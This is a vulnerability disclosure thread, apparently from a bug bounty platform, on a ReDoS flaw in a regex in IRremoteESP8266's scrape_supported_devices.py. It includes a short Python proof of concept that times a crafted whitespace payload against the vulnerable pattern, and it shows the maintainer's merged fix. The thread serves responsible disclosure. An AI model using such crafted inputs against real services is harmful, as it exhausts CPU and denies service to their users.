Inefficient Regular Expression Complexity in crankyoldgit/irremoteesp8266

Valid

Reported on

Sep 24th 2021


✍️ Description

The IRremoteESP8266 package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide crafted input to the extractsupports() function in the file scrape_supported_devices.py may cause an application to consume an excessive amount of CPU. Below pinned line using vulnerable regex.

🕵️‍♂️ Proof of Concept

Reproducer where we’ve copied the relevant code: https://github.com/crankyoldgit/IRremoteESP8266/blob/ca44fa33bbe872c8b646e6c7be4b270968268bd7/tools/scrape_supported_devices.py#L280 https://github.com/crankyoldgit/IRremoteESP8266/blob/ca44fa33bbe872c8b646e6c7be4b270968268bd7/tools/scrape_supported_devices.py#L13

Put the below in a poc.py file and run with node

import time
import re

evil_regex = r'Brand: *(?P<brand>.+), *Model: *(?P<model>.+)'

for i in range(1, 50000):
    start_time = time.perf_counter()
    payload = "Brand: "+" "*(i*10000)+"@"
    re.findall(evil_regex, payload)
    stop_time = time.perf_counter() - start_time
    print("Payload.length: " + str(len(payload)) + ": " + str(stop_time) + " ms")

Check the Output:

Payload.length: 10008: 0.3493204 ms
Payload.length: 20008: 1.3715758 ms
Payload.length: 30008: 3.0679822999999997 ms
Payload.length: 40008: 5.5895157 ms
We created a GitHub Issue asking the maintainers to create a SECURITY.md 2 months ago
Ziding Zhang
2 months ago

Admin


Hey Srikanth, I've emailed the maintainers for you.

We have contacted a member of the crankyoldgit/irremoteesp8266 team and are waiting to hear back 2 months ago
We have contacted a member of the crankyoldgit/irremoteesp8266 team and are waiting to hear back 2 months ago
crankyoldgit
2 months ago

Maintainer


Received. Looking at it now (owner of the repo. aka. crankyoldgit)

crankyoldgit
2 months ago

Maintainer


Fix submitted for code review in https://github.com/crankyoldgit/IRremoteESP8266/pull/1619

Modified poc.py with new regex indicates it is fixed. e.g.

...
Payload.length: 12810008: 0.01703646599980857 ms
Payload.length: 12820008: 0.021741868999924918 ms
Payload.length: 12830008: 0.01843134499995358 ms
Payload.length: 12840008: 0.01862592500037863 ms
Payload.length: 12850008: 0.017435174000638654 ms

crankyoldgit
2 months ago

Maintainer


and the modified poc.py is:

import time
import re

evil_regex = r'Brand: *(?P<brand>.+), *Model: *(?P<model>.+)'
evil_regex = re.compile(r"""
  Brand:\s{1,20}  # "Brand:" label followd by between 1 and 20 whitespace chars.
  \b(?P<brand>.{1,40})\b  # The actual brand of the device, max 40 chars.
  \s{0,10},       # Followed by at most 10 whitespace chars, then a comma.
  \s{1,20}        # The between 1 and 20 whitespace chars.
  Model:\s{1,20}  # "Model:" label followd by between 1 and 20 whitespace chars.
  \b(?P<model>.{1,80})  # The model info of the device, max 80 chars.
  \s{0,5}$        # Followed by at most 5 whitespaces before the end of line.
  """, re.VERBOSE)

for i in range(1, 50000):
    start_time = time.perf_counter()
    payload = "Brand: "+" "*(i*10000)+"@"
    re.findall(evil_regex, payload)
    stop_time = time.perf_counter() - start_time
    print("Payload.length: " + str(len(payload)) + ": " + str(stop_time) + " ms")
Srikanth Prathi
2 months ago

Researcher


Yes, we the modified regex in the https://github.com/crankyoldgit/IRremoteESP8266/pull/1619, the vulnerability got fixed.

Payload.length: 200008: 0.0001850000000000046 ms Payload.length: 210008: 0.0001921000000000006 ms Payload.length: 220008: 0.0001991999999999966 ms Payload.length: 230008: 0.0002778999999999976 ms

Srikanth Prathi
2 months ago

Researcher


@crankyoldgit Can you please validate this report?

Could you please use the mark as valid button to confirm this issue. Thank you.

crankyoldgit
2 months ago

Maintainer


Will do. Also the PR has been merged now. So it's fixed.

crankyoldgit validated this vulnerability 2 months ago
Srikanth Prathi has been awarded the disclosure bounty
The fix bounty is now up for grabs
crankyoldgit confirmed that a fix has been merged on d2b520 2 months ago
The fix bounty has been dropped
Srikanth Prathi
2 months ago

Researcher


@crankyoldgit Thank you very much